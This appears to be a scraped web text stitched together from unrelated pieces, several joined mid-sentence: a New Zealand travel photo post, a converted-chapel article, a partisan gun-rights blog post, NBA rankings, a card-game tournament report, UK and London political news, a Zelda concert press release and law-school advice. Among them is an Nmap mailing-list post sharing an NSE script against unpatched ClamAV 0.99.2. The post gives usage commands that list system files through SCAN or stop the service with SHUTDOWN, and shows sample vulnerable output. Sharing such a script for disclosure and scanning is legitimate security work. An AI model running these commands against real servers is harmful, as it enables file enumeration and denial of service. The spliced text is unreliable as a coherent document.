The water of the area was really interesting - the color you see is exactly the color it is. At first, I was caught off guard when I filled up a water bottle at a tent site (which uses the stream water), and was informed that the color comes from tannin that is dissolved in the water because of the heavy concentration of oak and fir trees in the area. It gives a taste of a very weak and unsweetened tea to the water. I actually came to like it.73) Part of the trail through the forest.74) We decided to take a break and have lunch on the trail. We hadn't met anyone the entire time, so we figured this was a good spot to stop. I set up the tripod behind us and had the remote control in my hand.75) The hut we stayed at had beds and beds (and beds!) of mussels that were exposed at low tide, so we picked some and man, what a massive pain in the ass to cook them without proper cookware (but I was determined - 45 minutes boiling baby). I didn't have any butter to make a sauce in, but I did have freeze dried mash potatoes that I used to make a sauce in. Delicious nonetheless76) The (almost) bottom of South Island, New Zealand. As you can see - we were far away from everything.77) Have you ever seen a yellow mountain? Absolutely beautiful yellow blooms littered the entire section of the road back to Queenstown.78) Other than the absolutely beautiful scenery, notice anything different? That question doesn't apply to anyone of British, Aussie, or Kiwi descent79) Another view of the stunning scenery. These lakes have all be cut and carved by glaciers, which is why the water is such a deep blue - looking down into it it was almost sapphire blue.80) This is further proof that I am dating the most amazing woman in the world. I wanted a shot of the road snaking along the shoreline where the mountains met the lake, so I saw what was a good approach point, pulled over to one of the overlooks on the shoulder of the road, and then told Jenny that I'd "be right back." Severely underestimating the thickness of the undergrowth (which I assumed was 1-2 feet tall and thus I could run up the mountain to a high vantage point), I returnedan undisclosed amount of time later with puncture wounds along my arms from all the thorn bushes I forced my way through, at one point doing so on my hands and knees to crawl through a particularly large and tall bush. First, I had to free climb (a term coming from rock climbing without the use of ropes/anchors/safety devices) about 5-7m vertically just to get over the cliff wall and begin my approach. By the time I got higher, I realized that the road wrapped around the mountain and out of view, rendering all of my efforts futile. But I took this picture anyway, and wanted to show just how far I went. This is at 30mm, so clearly there is no distortion and pretty much accurate to how I saw it in person. That's Jen standing next to our car, and apparently she had four or five vehicles stop and ask if she was stranded and needed a lift/assistance. "Nope. My idiot boyfriend decided to climb the mountain for a photo and said he'd be right back..." When I tried to get back, I realized that the descent was much harder than the ascent, and at times dangerous, so I looked around and noticed further down the road in our current direction of travel there was a gradual slope that was much easier to navigate. So I yelled to her "JENNY! PULL THE CAR FORWARD TO THE NEXT PULL-OFF 400 METERS DOWN THE ROAD." When I got back, expecting her to be livid, her only reaction was laughing at me for tearing the crotch of my pants as I screwed up my hop over a barbed wire fence.81) The last night of being in Queenstown before flying out, we relaxed at a nice restaurant and had a nice dinner. A perfect close to an otherwise adventure-packed "Rest and Relaxation"82) This was an unexpected surprise - sunrise in Dubai which I stumbled upon when I made a wrong turn and found myself in an all-window waiting area at the airport. Of course, I had to dig into my bag and get my camera and lens despite hurrying to catch my connection - I was already running late because of my delayed arrival. But so totally worth it and I made the flight. The sun looked a lot bigger and more impressive in person than it seems here.Hope you enjoyed my vacation to New Zealand as much as I didAs always, thank you for stopping by-Heie Last edited by Heie; 01-14-2013 at 11:55 AM. Reason: typoNmap Development mailing list archives
Re: [NSE] Unauthenticated ClamAV Command Exec
Hey, Here is an updated version of the script (Only updated a couple of issues with code quality). I forgot to clarify that this is not remote OS command injection but clamav commands. The script supports the commands “SCAN” and “shutdown” now. By default, the script uses the SCAN command against a non existing file to check for the vulnerability. But you can pass a list of filenames to test with the command SCAN (Check screenshot in parent post). I didn’t want to bloat nselib/data with a new database for common UNIX files because it would be only used in this script so for now you need to pass your own list. Another important thing I left out before is that there is no patch for this yet. This was tested on 0.99.2 but many other previous versions could be vulnerable, hence the script. Cheers, description = [[ Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution. ClamAV server 0.99.2, and possibly other previous versions, allow the execution of dangerous service commands without authentication. Specifically, the command 'SCAN' may be used to list system files and the command 'SHUTDOWN' shut downs the service. This vulnerability was discovered by Alejandro Hernandez (nitr0us). This script without arguments test the availability of the command 'SCAN'. Reference: * https://twitter.com/nitr0usmx/status/740673507684679680 * https://bugzilla.clamav.net/show_bug.cgi?id=11585 ]] --- -- @usage -- nmap -sV --script clamav-exec <target> -- nmap --script clamav-exec --script-args cmd='scan',scandb='files.txt' <target> -- nmap --script clamav-exec --script-args cmd='shutdown' <target> -- -- @output -- PORT STATE SERVICE VERSION -- 3310/tcp open clam ClamAV 0.99.2 (21714) -- | clamav-exec: -- | VULNERABLE: -- | ClamAV Remote Command Execution -- | State: VULNERABLE -- | ClamAV 0.99.2, and possibly other previous versions, allow the execution of the -- | clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN' -- | may be used to enumerate system files and the command 'SHUTDOWN' shut downs the -- | service. This vulnerability was discovered by Alejandro Hernandez (nitr0us). -- | -- | Disclosure date: 2016-06-8 -- | Extra information: -- | SCAN command is enabled. -- | References: -- | https://bugzilla.clamav.net/show_bug.cgi?id=11585 -- |_ https://twitter.com/nitr0usmx/status/740673507684679680
Attachment: clamav-exec.nse
Description:
On Jun 12, 2016, at 1:20 PM, Paulino Calderon <paulino () calderonpale com> wrote: Hey list, A friend found something interesting in the latest version of ClamAV. Cheers. <clamav-exec.nse><clamav-service-probe><shutdown.png><list.png>
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Current thread:19th Century Chapel in English Fields Turned Into Modern Home
Located in North Pennines this 19th century chapel looks like it’s from a movie. Removed from the city the building stands on a side of a narrow road surrounded with a low fence. No other buildings around it. Except unlike in need some bad movie the church is not abandoned. It’s been converted into a light modern home by Evolution Design who tried to preserve its original look.
Photography by Evolution Design
The exterior of the building was left as it is for the exception of red-painted windows and door. On the inside the house is done in mostly white with a patterenedfeature wall in the kitchen and a grayish green wall in a living room. The mezzanine floor was designed to create more rooms, three bedrooms on the second floor, one on the ground floor. There are also a kitchen with dining area, a living room, and a bath.
The church had originally the arched windows in Gothic style but the designers added several skylights, four of which flood the kitchen with natural light, which makes for a very airy feel in the living area adjacent to it as well.
The space is cleverly utilized, for instance, under the staircase that leads to the second floor the designers set up a home office with a desk and open shelves.
The kitchen cabinets are open as well, which creates an open light atmosphere while the black appliances make for stylish accents for a black and white patterened wall.
19th Century Church Home in English Fields
Leave a Reply02.11.15
In a move sure to devastate Floyd Prozanski, John Kitzhaber, and the other gun grabbers in Salem, Sherman County has added itself to the list of Oregon Counties opposing the expansion of gun restrictions and Oregon’s train wreck “background check system.”
Their resolution mirrors the one enacted by Yamhill and other counties.
Each time a county makes a statement in opposition to the twisted efforts of Portland and Eugene to force unenforceable restrictions on the rest of the state, it demonstrates what a massive lie the anti-gun extremists are telling.
Virtually every “statistic” used by the statists to attempt to take your rights away is an invention or a manipulation and none more so than when they claim 80 to 99 % (pick any number you like, they do) of us want more intrusive gun registration schemes. As each new county steps forward to say “no” the anti-gunners lies become more transparent. And the counties that refuse to act run out of excuses. (Lane?)
Congratulations to the people and commissioners of Sherman County. You are serving as an example.
If your county has not taken a stand yet, remember, you can make a difference. Contact your commissioners and tell them you want them added to the growing list of elected officials who are taking a stand for the rights and freedoms of the people who elected them.With the 2013-14 NBA season just 11 days away, Grantland’s Bill Simmons and Zach Lowe decided to blow out the annual League Pass Rankings with categories and an admittedly goofy scoring system. The goal? To figure out which of this year’s NBA teams had the best chance to consistently steal our attention every night as we try to watch five games at once. Both Zach and Bill awarded each NBA team between 0 and 10 points in the following five categories:
Category No. 1: Relevancy to the Playoff Picture
These teams aren’t just contenders, but anyone with a chance to play in the postseason. So, Philly would be a 0 and Miami would be a 10. Really, Philly should be a minus-3, but we didn’t want to make it too complicated.
Category No. 2: Stylistic/Systemic Appeal
If you’re playing 80-79 games and shooting 35 percent every night, that should matter. If you’re playing up-and-down games in the 110s, or putting on a defensive rotation clinic every night, or showing off big-ball lineups and small-ball lineups depending on the opponent, that should matter too. We should’ve called this category “Hoop Nerdgasm Potential.”
Category No. 3: League Pass Experience
Here we consider the quality of announcing teams (and how often you might have to hit the mute button during their games), sideline reporters, uniform colors, the home arena’s floor and, especially, the mascots. You know, all the stuff Zach obsesses over.
Category No. 4: Individual Player Appeal
If you have the likes of Durant, LeBron or Curry on your team, you’re in good shape. If you’re trotting out the likes of Gordon Hayward or Goran Dragic as your biggest star? You’re not in good shape. If you revolve your team around Boogie Cousins? You’re in good shape … with one of us.
Category No. 5: Unintentional Comedy/Irrational Affection/Personality Intangibles
An intentionally vague category that covers areas such as anything and everything relating to JaVale McGee or Boogie Cousins, Josh Smith and Brandon Jennings running high screens, LARRY SANDERS!, any and all Gary Neal heat checks, the pathetic love that a Celtics fan feels for his now-pathetic team, all CP-Blake alley-oops, every Nick Young 3 that might get him murdered by Kobe, Professor Andre Miller doing Professor Andre Miller things, any overweight player, every Greg Oden moment, every KG interview, the Rubio-Love reunion, and anything else that would cause a riot on Grantland’s Triangle blog.
We scored each team on our own, then combined the scores into a bigger score. The lowest possible score? Zero. The highest possible score? 100. One of our two judges turned out to be a pathetically easy grader, to the other judge’s eternal delight. Who was the Randy Jackson of the League Pass Rankings? Who finished with the best score? And did we really need 11,000 words and two parts to figure this out? Without further ado, the 2013-14 League Pass Rankings, from worst to first. Here’s Part 1.
PHOENIX SUNS: 27
Bill: If I watch more than 75 total minutes of the Suns this season, I’m gonna feel like I failed. Congratulations, Robert Sarver — you did it again.
Zach: Ouch. But Eric Bledsoe is going to get starter minutes! And Jeff Hornacek is going to have them run! And they have that horrible court redesign that makes them look like they are permanently playing on Halloween!
Bill: Your love for horrible court redesigns almost rivals your love for Swin Cash and mascots. For the record, I watched Bledsoe up close for three years at Clippers games. Phenomenal athlete, destructive defender, great energy guy off the bench … and if you’re turning your offense over to him, in the words of Baby Doll Dixon, “I wish you a lot of luck.”
Zach: I’m actually cautiously optimistic about Bledsoe’s floor-generalship. I watched a ton of film on him, and it looks like he learned some tricks from Chris Paul. Shooting and turnovers are major issues, but he sees the floor well. But, yeah, it’s going to be ugly overall. Bledsoe, Alex Len, and Archie Goodwin are exciting, and Marcin Gortat is going to say some crazy stuff before they trade him. And, seriously, it’s wonderful to have Channing Frye back. But there’s not much here. Also, leave Swin Cash out of this!
Bill: My bad.
PHILLY 76ERS: 31
Zach: I had the Sixers a couple spots higher than you did, because Brett Brown is gonna try some fun stuff, I have a soft spot for Thad Young, and this is an all-around pleasing League Pass experience.
Bill: I’m secretly excited to watch Evan Turner run a team and become 2014’s fantasy mega-sleeper. Couldn’t you see him unleashing a slew of Rondo-type box scores of the 17-9-13 variety as they lose by 15 every night? DO YOUR THING, VILLAIN!
Zach: If Turner does put up those numbers, the Sixers will hope some team coughs up a first-rounder for him.
Bill: My Sixers League Pass ranking could climb if they make a legitimate run at 73 losses. The key will be Jason Richardson — if he can come back this winter and jog around for 38 minutes a night while being woefully out of shape, they could finish 8-74. I’d love to see a 265-pound, out-of-breath shooting guard deciding games in March and April — it’s always been a dream of mine. And we didn’t even mention Nerlens.
Zach: That’s because we have no clue when the team will let him play. He might help them win a couple of extra games! This Philly season is as much about the Pelicans as it is about the Sixers, since Philly has that protected first-round pick coming in the draft.
TORONTO RAPTORS: 34
Bill: If Jonas Christ Superstar makes the leap, or even a semi-leap, I could see myself getting roped into a couple of crunch times. That’s about it. I’m allergic to DeRozan’s game and Rudy’s game.
Zach: They are generally boring to watch, with DeRozan and Rudy curling around screens, catching, dribbling five times while they stand still, and then launching bad shots. But there’s some potential here.
Bill: That would be a fun marketing campaign for the Raptors: “SCREEN CURLS, FIVE STANDING-IN-PLACE DRIBBLES AND AWFUL JUMP SHOTS … COME SEE YOUR 2014 RAPTORS!”
Zach: “ALSO: DOES KYLE LOWRY HAVE THE BIGGEST ASS IN THE LEAGUE? WATCH HIM GLARE ANGRILY AT RUDY GAY EVEN THOUGH THEY ARE FRIENDS!” You and Jalen need to pour one out for the Raptors mascot, though.
Bill: Done.
Zach: In all seriousness, Jonas is going to be fun, Amir Johnson is a hoop nerd favorite, and the coaching staff has hard work ahead of it maximizing the Lowry-Gay-DeRozan combination. Gotta get rid of that 3-D logo under the basket, though. It still freaks me out.
ORLANDO MAGIC: 39
Bill: It’s hard NOT to enjoy Tobias Harris and Victor Oladipo. I’ve already been sucked into one of Orlando’s preseason games: Oladipo jumped eight feet into the air to block a Donatas Motiejunas four-footer to the dismay of both Houston announcers, one of whom said, “Come on, DoMo!” That’s when I learned that it’s much easier to call Donatas Motiejunas “DoMo.” Anyway, I kinda like the young and frisky vibe of the 2014 Magic — it’s rare when you can find a team that’s tanking while also remaining entertaining/promising/likable (and yes, young and frisky). Is it just me or would this be a fun Jimmer home? I’m not giving up on Jimmer, Zach Lowe! You can’t make me!
Zach: Stay tuned on the Houston announcing crew as we go through these rankings. But, yeah, Jimmer will be in the league as long as he can shoot from 3. Teams are trying to buy low on him, and have been all summer. I’m with you on the young-guy intrigue here, but I docked the Magic several points for canning Matt Guokas as their TV analyst. I might be most excited about Mo Harkless among all the young dudes. Serious Swiss Army Knife potential on both ends.
Bill: We may have ranked these guys too low. You brought this one up in your Orlando cameo for “Bill |
FN, then he Planetary and claims to put FN to 7 damage. I make an attempt at killing Maz, but she ends up with 1 HP left after I exhaust all of my rerolls trying to finish her off. Brian starts Round 3 with a 2nd Planetary Uprising and now it is my turn and Maz needs to die here or I lose. I overwrite my weapon for a Vibroknife, hit discard, resolve it and overwrite with Holdout Blaster, a 2 Ranged for a resource hits and it is game over, i won! I had another Rocket Launcher in hand ready to go for the 66% chance if those both missed (85% for the win overall between the 3 of them). I wake up out of my trance to see everyone crowded around going ballistic. Mike (BSaph) also won his Top 4 match and we have a Hyperloops Final!!!! Mike tells me that he couldn’t see what was going on and he was jumping up and down 2 rows back and fist-pumping like a madman. Neither of us even cared at that point any more, we did it! 1-2 finish, the thing you dream about but never get to accomplish. Ash Ketchum vs Gary Oak in the finals, if they ever got along and Ash wasn’t a scrub! This would be the perfect moment to break out this (if we knew it)
We were given some time to unwind and get waters so we discussed a split whilst walking to the concession stand and wondering where the hell the 3rd Musketeer was hiding at. Mike throws on his Star Wars jam getting himself prepped for the showdown whilst I durdle and talk to the judge about not assuming I won if I show lethal, because I’ll most likely scoop since I may not be able to attend Worlds. I have two stores and sell “cellphone and cellphone accessories” so my trips get cancelled some times. At some point, I inquired about that with Lukas and splitting / giving that to Mike in advance, but I believe the answer I got was a “He can’t make that decision”. I win the roll off and elect to play on Mike’s Battlefield and took the shields. He rolls out Bala first and I Friends in Low Places him to find his Enrage and 2x Three drop weapon. He realizes that not casting the Enrage to start was a huge mistake and I don’t let him stick an additional resource. I go crazy with Double Boundless ambition in the 1st round and he has been passing for like 12 actions in a row with double dice showing 2 Ranged for a Resource and he is broke. Somewhere in the middle of me using my 15 cards, i injure my Nightsister til she has 6 damage and then he springs into action and rerolls his FN die and it hits 1 Ranged damage. I didn’t even consider that play while he was passing and only thought he wanted to be able to mess with any big damage sides that I show. My Nightsister dies and he gets to ready Bala-tik and take another chunk out of my Bala. I was still finishing up all the stuff I was doing and Round 1 ended with both his Nightsister and Bala dead, my Nightsister dead and my bala injured a bit. The game was over next round with a few Rocket Launcher shots to his FN. Game 2 was a huge back and forth that ended with both of our FN’s at 9 damage each, but I had the battlefield and started off with a Z6 overwrite that showed a 2 melee… within a second of the 2 showing, I’ve already got congratulation messages on my phone popping up that I can see as it lights up for each notification. I wanted to figure out the Flight / Hotel thing but it was already too late, I’m being handed the trophy and without having resolved the die, I was already declared the winner.
This is my favorite picture of Mike. He’s the man and just exudes confidence and was ecstatic, win or lose.
I wanted every single picture to be with my homies. It was a team effort and I wanted every one to know it. They did make me take some solo shots, but I’ll break into their house and delete the footage at some point. We met and hung out with Jenna Marion after who became another BFF of the group, then we separated and went to a German Pub Restaurant to celebrate our accomplishments with the same group as the night before (minus a few people). Gencon was great, I enjoyed meeting everybody and being able to attach faces to the screennames for people that I talk to. I can remember a play by play of a game for the most part, but I can’t remember the names of all the great people that I met and spoke with. It was a pleasure and I hope to see you all again! There are so many thanks that I want to say / give and this is already the longest thing I’ve ever written (probably over double) so I’ll leave it as a huge thanks to everybody, especially my fellow Hyperloops members (Tinyloops too) for dragging me to the next level when I thought I was retired and done with the CCG life. #squadlyf
P.S. The hiding my decklist thing reared it’s ugly head again after Gen Con. I’ll give it up this time, but the next time, I’ll just throw it behind a paywall for the faithful until w/e big event is over. The gag order has been rescinded. Merry Christmas, ya filthy animal!
~ HonestlySarcastc
Our Patreon is already out of Coaching Tier slots, but Tournament Prep tier is still going on strong with a lot of How To Questions on Rainbow 9’s Nightsister, weekly exclusive content and access to our members only Discord. Come join the party in our Discord!
Edit: We moved to 5 coaching slots, but they may still be taken by the time you read this.
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Instagram'I stab people in the front not the back': Rebel MP Douglas Carswell defends joining UKIP amid revelations Nigel Farage is targeting 16 more Tories to switch sides
Douglas Carswell resigned from the Conservative Party and Parliament
He said David Cameron was 'not serious about changes country needed'
MP is among nine Tories 'wined and dined by UKIP donor Stuart Wheeler'
Mr Wheeler today revealed he could have 'easily' invited eight more MPs
Today, Mr Carswell hit the campaign trail with UKIP leader Nigel Farage
He defended his decision to defect from the Tories amid criticism from MPs
Tory defector Douglas Carswell today defended his decision to join UKIP - declaring: 'I stab people in the front, not the back'.
Mr Carswell returned to his Clacton constituency this morning with UKIP leader Nigel Farage amid speculation many more Conservative MPs have considered defecting.
Today, the multi-millionaire UKIP donor Stuart Wheeler confirmed that he had wined and dined around eight backbench Tory MPs in an attempt to encourage them to switch allegiance. He added that there were 'another eight I could have easily taken out'.
Scroll down for video
UKIP candidate Douglas Carswell went on a walkabout with party leader Nigel Farage in his constuency of Clacton-on-Sea today
Mr Carswell gives a thumbs up to a passing motorist after returning to his constituency this morning
UKIP leader Nigel Farage (left), with Mr Carswell (right), during a press conference in central London where the Conservative MP defected to his party yesterday
The former party treasurer said he could not give names but boasted that there were a further eight he could have ‘easily’ invited out to lunch.
Mr Wheeler told Sky News he took the MPs to a restaurant called Serafino, which he said was no longer open.
He said: ‘I didn't say “Would you defect?”. I would say “Would you like to meet Nigel Farage?”. Some of them said yes and obviously Douglas Carswell was one of them.’
Mr Carswell - who officially stood down from Parliament today - said he was taking a risk by forcing a by-election but denied that he had been disloyal to Prime Minister David Cameron.
He added: ‘I like David Cameron, he's a nice guy, he's actually good fun.
‘I don't think I've ever stabbed anybody in the back, maybe I occasionally stab one or two people in the front but I've been frank and straight with people.
‘But I think he's not serious about change in Europe and I've put my political career on the line.’
The visit attracted a mixed response from passers-by with one woman shouting at Mr Carswell: ‘The traitor's blocking the street - stop blocking the street, traitor.’
But several cars honked their horns in a show of support and taxi drivers pulled over to praise Mr Carswell.
Mr Carswell was among nine Tories wined and dined by Mr Wheeler at a series of discreet lunches in Mayfair.
‘Stuart is quietly confident that more may follow Douglas,’ a source said, adding that the MPs were happy to talk to Mr Wheeler – a former Tory who defected to Ukip – ‘because they knew he understood their sense of divided loyalty’.
‘Stuart understood what they were going through because he had been on the same journey,’ the source said.
Mr Cameron was ambushed by the defection of Mr Carswell – a serial rebel – who quit the party with a parting blast that questioned the Prime Minister’s policy on Europe.
The MP announced he was joining Ukip and forcing a by-election in his Clacton constituency in Essex, which will be a nightmare for the Tories to defend despite their 12,000 majority in 2010.
It is understood that Mr Carswell was among nine Tories wined and dined by millionaire Ukip donor Stuart Wheeler at a series of discreet lunches in Mayfair
Mr Cameron was given no prior warning of the announcement and could only watch as Ukip leader Nigel Farage triumphantly paraded Mr Carswell live on TV.
The dramatic move has increased pressure on the Prime Minister to toughen his stance on immigration and Europe to stem the risk of further defections.
Tory whips were scrambled to ring round Eurosceptic MPs to shore up support. A senior Tory source insisted that Mr Carswell appeared to be a ‘lone wolf’ and played down the prospect of further departures.
And Mr Cameron angrily dismissed Mr Carswell’s move as ‘self-defeating’. ‘It is obviously deeply regrettable when these things happen and people behave in this way,’ he said. ‘But it is also, in my view, counter-productive.’
Mr Cameron was ambushed by the defection of Mr Carswell who quit the party with a parting blast that questioned the Prime Minister's policy on Europe
Mr Farage claimed he had been involved in talks with a number of Tory MPs over the past six months who ‘very strongly support everything Ukip is trying to do’.
He predicted that further defections will follow if Mr Carswell triumphs in the by-election, which is likely to be held on October 9 – the week after the Tory party conference.
‘The real answer to the question about how many others will join, will all depend on this by-election,’ he said. ‘This by-election is going to be a High Noon moment.’
However, Mr Carswell faced an immediate potential setback when Ukip’s existing candidate in Clacton refused to make way for him.
Roger Lord told Mr Carswell to ‘get in the queue’ but a Ukip spokesman said Mr Lord had been selected to fight next year’s general election, not the by-election.
Mr Carswell’s announcement came hours after official figures showed Mr Cameron has almost no chance of keeping his pledge to cut net immigration to below 100,000 a year – last year it rose nearly 40 per cent to 243,000, largely on the back of new arrivals from the EU.
Senior Tory Bernard Jenkin said: ‘The Prime Minister has got to spell out in far more detail and indeed in far more fundamental terms what he means... we don’t want to have our economy controlled by the European Union, we want to control the number of people coming in and out of our country. If we want all these things, we’re going to have to change our relationship fundamentally with the EU.’
Fellow Tory Zac Goldsmith described Mr Carswell’s departure as a ‘wake-up call’ while Tory veteran Brian Binley acknowledged that ‘one or two’ colleagues were tempted to join Ukip although he suggested that they would not.
Mr Carswell, an early supporter of Mr Cameron’s leadership bid, said the Prime Minister was ‘not serious about change’ when it came to the EU and was only interested in doing the minimum needed to win an election.
Speaking at a press conference in London alongside Mr Farage, he said: ‘The problem is that many of those at the top of the Conservative Party are simply not on our side. They aren’t serious about the change that Britain so desperately needs. Of course they talk the talk before elections.
They say what they feel they must say to get our support... but on so many issues – on modernising our politics, on the recall of MPs, on controlling our borders, on less government, on bank reform, on cutting public debt, on an EU referendum – they never actually make it happen.’
Mr Carswell addresses a press conference in London after being introduced by the UKIP leader Nigel Farage
News of the defection was relayed to Mr Cameron at Chequers. Speaking later in Scotland, where he was giving a speech, the Prime Minister said: ‘If you want a referendum on Britain’s future in the EU, whether we should stay or go, the only way to get that is to have a Conservative government after the next election. That is what, until very recently, Douglas Carswell himself was saying.’
Mr Carswell’s decision to trigger a by-election leaves the Conservatives facing a huge battle to prevent him becoming Ukip’s first elected MP. He has built a Tory majority of over 12,000 in what had been a Labour seat. Tory sources last night said the by-election would be held ‘sooner rather than later’ to prevent Ukip gaining momentum. Bookmakers immediately installed Mr Carswell as the odds-on favourite to hold the seat.
Mr Carswell’s sudden departure stunned Eurosceptic colleagues who believed he had settled his differences with the leadership – he publicly urged colleagues to stop rocking the boat six months ago, writing on Twitter: ‘Only the Conservatives will guarantee and deliver an in/out referendum. It will only happen if Cameron is Prime Minister.’
Former defence secretary Liam Fox said: ‘After the next general election, either Ed Miliband is going to be the Prime Minister, or David Cameron. If it’s not David Cameron there’s not going to be a referendum on Europe.Acclaimed Concert Continues to Enchant Video Game Fans and Music Lovers Across North America
REDMOND, Wash.-- “The Legend of Zelda: Symphony of the Goddesses Tour” is coming soon to even more locations across the United States and Canada. Based on one of the most popular and beloved video game series of all time, the tour features live orchestral performances of theme music from Nintendo’s The Legend of Zelda franchise. The newly announced dates include:
Sept. 15: Toronto; Sony Centre for the Performing Arts
Sept. 22: Minneapolis; Orpheum Theatre
Oct. 12: Dallas; AT&T Performing Arts Center
Oct. 18: Boston; Wang Theatre
Oct. 25: Chicago; The Chicago Theatre
Nov. 3: San Antonio; The Majestic Theatre
Nov. 6: Calgary, Alberta; Southern Alberta Jubilee Auditorium
Nov. 28: New York; The Theater at Madison Square Garden
Dec. 8: West Palm Beach, Fla.; Raymond F. Kravis Center for the Performing Arts
Dec. 9: Miami; Adrienne Arsht Center
Dec.14: San Jose, Calif.; San Jose Civic
In celebration of the tour, the Nintendo World store in Rockefeller Plaza in New York will host a special event on Friday, Sept. 14, from 6-9 p.m. From 6-6:45 p.m., ocarina expert David “Docjazz” Ramos will lead an interactive workshop, introducing fans and newcomers to the history of the instrument. From 7-8 p.m., an intimate mini-concert will be performed, featuring a small musical ensemble. From 8- 9 p.m., attendees can interact with David Ramos and the concert musicians. Event attendees can also take photos with Link cosplay model Li Kovacs and purchase official “Symphony of the Goddesses” merchandise. The first consumers to enter the event will receive a special concert pack that includes a T-shirt, poster and an ocarina to use during the ocarina workshop.
The name “Symphony of the Goddesses” refers not only to the concert program but also to the new four-movement symphony recounting the classic storylines from The Legend of Zelda: Ocarina of Time, The Legend of Zelda: The Wind Waker, The Legend of Zelda: Twilight Princess and The Legend of Zelda: A Link to the Past. The concert also will highlight orchestral renditions of music from other series games, including The Legend of Zelda: Link’s Awakening and The Legend of Zelda: Majora’s Mask. The full orchestra will be conducted by Eímear Noone with arrangements by music director Chad Seiter.
“We are thrilled to bring this unprecedented and exhilarating tour to fans across the U.S. and Canada,” notes Jason Michael Paul, CEO of Jason Michael Paul Productions, which is producing the concert tour. “From children to adults who have followed The Legend of Zelda for decades, the fan base for this concert is growing exponentially, and we are ready to deliver an unforgettable experience.”
Fans can view a complete tour schedule with ticketing information and also sign up for a regularly updated digital newsletter at http://zelda-symphony.com. Club Nintendo also is offering a discount to the shows—users just need to register at the Club Nintendo site and enjoy an exclusive 15 percent discount by logging into their accounts at http://club.nintendo.com and clicking on the “Symphony of the Goddesses” logo banner. Exclusive concert packs also are available at GameStop locations.
Since first appearing in 1986, The Legend of Zelda game series has sold more than 69 million units worldwide. The latest entries in the series, The Legend of Zelda: Ocarina of Time 3D for Nintendo 3DS and The Legend of Zelda: Skyward Sword for the Wii console, have both sold more than 1 million copies in North America since launching last year. Additionally, on Jan. 29, 2013, Nintendo and Dark Horse Books will release Hyrule Historia, a hardback book chronicling the history of The Legend of Zelda series. Featuring never-before-seen concept art, the full history of Hyrule, the official chronology of the game and insights from developers that have worked on the series, the book is currently available for pre-order via select retailers (deposit may be required for pre-order).
For more information about the concerts, visit http://zelda-symphony.com.Contrary to popular belief, law school applicants represent an extremely diverse set of academic and professional backgrounds. Many people think that a successful law school applicant must have studied the humanities or social sciences in college and, if one has work experience, that experience must be in the legal field or closely connected to it.
In fact, not only does a background outside the humanities or social sciences not disqualify you for law school, admissions offices value diversity of academic and professional experiences when constructing their incoming classes. One of the most common academic backgrounds I encounter among students is in the so-called STEM fields: science, technology, engineering and mathematics.
Although applicants with STEM backgrounds are at no disadvantage when applying to law school, there are a few challenges that apply particularly to STEM applicants – but there are ways to overcome them.
1. A lack of academic reading, writing and research experience: Most STEM applicants have focused their academic careers primarily or entirely on STEM subjects. This is caused in part by the demanding requirements for majoring in STEM subjects, often including time-consuming laboratory-oriented courses and prerequisite courses for higher-level STEM classes. This is also caused by a – perhaps cultural – intellectual and academic divide between "words" and "numbers" people. Students who excel in math and the sciences in high school tend to be comfortable in those subjects and may be less apt to venture into subjects that are reading and writing intensive.
If you are still in college, the best way to address this issue is to seek courses in the humanities and social sciences that interest you. Taking a few such courses will strengthen your reading, writing and research skills, all of which are essential to being a successful law student and lawyer. Taking these courses will also allay any concerns admissions offices may have that you might struggle with a totally different method of learning and evaluation than the method you are used to in STEM courses.
If you are out of college, consider pursuing volunteer work that involves reading, writing or academic-style research. Many nonprofit organizations focused on policy welcome volunteers who are willing to do such work.
2. A lower undergraduate GPA: Although any applicant can have a low undergraduate GPA, there tends to be less grade inflation in these subjects than there is in majors in the humanities and social sciences. This can result in a lower undergraduate GPA than that of an applicant who has majored in a subject in the humanities or social sciences.
If you are in this situation, first know that admissions offices are very sophisticated in the way they interpret undergraduate GPAs. They will have your transcript, which will tell them what courses you took and what grades you received in them. They will also have information about average GPAs within each department at your specific school, which will enable them to better understand your true academic abilities.
For example, one of my recent clients was worried about the dip in her GPA during the semesters in which she took organic chemistry – a prerequisite to take higher-level major courses. She earned a B, but the class average was significantly lower. We wrote an addendum to explain that while that grade lowered her overall GPA, it was a strong grade compared with the other students in the class.
3. A lack of professional experience that directly relates to a career in law: For STEM applicants who are applying to law school with some post-undergraduate work experience, a common challenge is creating a connection between their work experience and a desire to become a lawyer.
When you address your work experience, focus less on the content of the work and focus more on the skills you used and developed at work. STEM applicants often use and develop skills such as attention to detail, linear thinking, organization and approaches to vast, complex problems that are valuable both as a law student and as a lawyer.
[See how to decide which area of law fits your career goals.]
Another way to connect your professional experience with the law is by displaying an interest in areas of law that benefit from training and knowledge in STEM subjects. An understanding of biology and chemistry is valuable in the practice of environmental law, and intellectual property law is a common practice area for those well versed in technology. For example, I recently worked with a client who was an engineering major, and together we selected schools that have strong intellectual property programs.London's transport authority is far too dominated by white men, Labour's mayoral candidate Sadiq Khan said today.
There are currently 13 white men on the Transport for London board and just three women. Khan said he would ensure the board better reflected the "diversity" of Londoners if he becomes mayor.
"I will reshape TfL's board," he said during a speech in Brixton this morning.
"It needs to better reflect London's diversity in the interest of Londoners. Did you know there are 16 people on the board of TfL?
"Thirteen of them are white men. Thirteen. Think about it. It only has three women on it. That's less than one in five. "
He suggested the needs of women and ethnic minorities were being neglected as a result.
"Women face specific challenges on our transport network that are not currently being addressed. I was appalled about the recent decision by British transport police to scrap the sexual violence unit. Reports of sexual offences on the London Underground almost tripled over the past five years. As mayor I will take these problems seriously."
Khan today continued to face questions over his policy of freezing transport fares. TfL estimate the policy will cost £1.9 billion over the next five years, when compared to their current business plan which assumes year-on-year fares increases.
Battle of the placards outside Sadiq Khan's transport speech in Brixton. pic.twitter.com/m3BBiRQiSV — Adam Bienkov (@AdamBienkov) March 30, 2016
Khan has repeatedly rejected TfL's business case assumptions. However, he came under pressure today after it was revealed his own claims about Zac Goldsmith's fares policy is based on the same business plan.
Khan has posted billboards claiming that Goldsmith would raise fares by 17% over the next four years, despite the fact that Goldsmith has not yet made any announcement about raising fares
When asked for the source of the 17% claim, Khan told Politics.co.uk that it was based on accepting the same fare rise and interest rate assumptions contained in the TfL business case which he has previously rejected.
Asked whether he now accepted those assumptions, he replied:
"I don't. He does. So you can't have it both ways. On the one hand you can't attack me because my plans are different to the business plan, because you're accepting the business plan, but then not accept the business plan. So he's accepted all of the business plan in relationship to investment and infrastructure, he's using the business plan to attack me. In which case you've got to accept the figures and those figures are 17% increases in fares over the next four years and he's not denied it."
